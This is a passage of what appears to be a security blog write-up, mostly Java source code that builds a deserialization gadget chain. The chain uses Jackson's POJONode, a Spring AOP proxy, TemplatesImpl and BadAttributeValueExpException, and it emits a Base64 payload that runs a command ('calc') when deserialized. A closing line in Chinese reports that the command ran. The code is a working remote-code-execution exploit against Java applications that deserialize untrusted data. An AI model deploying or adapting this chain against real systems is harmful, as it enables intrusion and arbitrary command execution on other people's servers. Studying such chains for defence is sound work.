javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64; public class POJOJackson { public static void main(String[] args) throws Exception{ byte[] code = getTemplates(); byte[][] codes = {code}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "useless"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", codes); // 删除 BaseJsonNode#writeReplace 方法用于顺利序列化 ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); POJONode node = new POJONode(makeTemplatesImplAopProxy(templates)); BadAttributeValueExpException bave = new BadAttributeValueExpException(null); setFieldValue(bave, "val", node); byte[] bytes = serialize(bave); System.out.println(Base64.getEncoder().encodeToString(bytes)); } public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); } public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; } public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); String block = "Runtime.getRuntime().exec(\"calc\");"; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } }生成传入命令执行成功 image-20241124192140974图片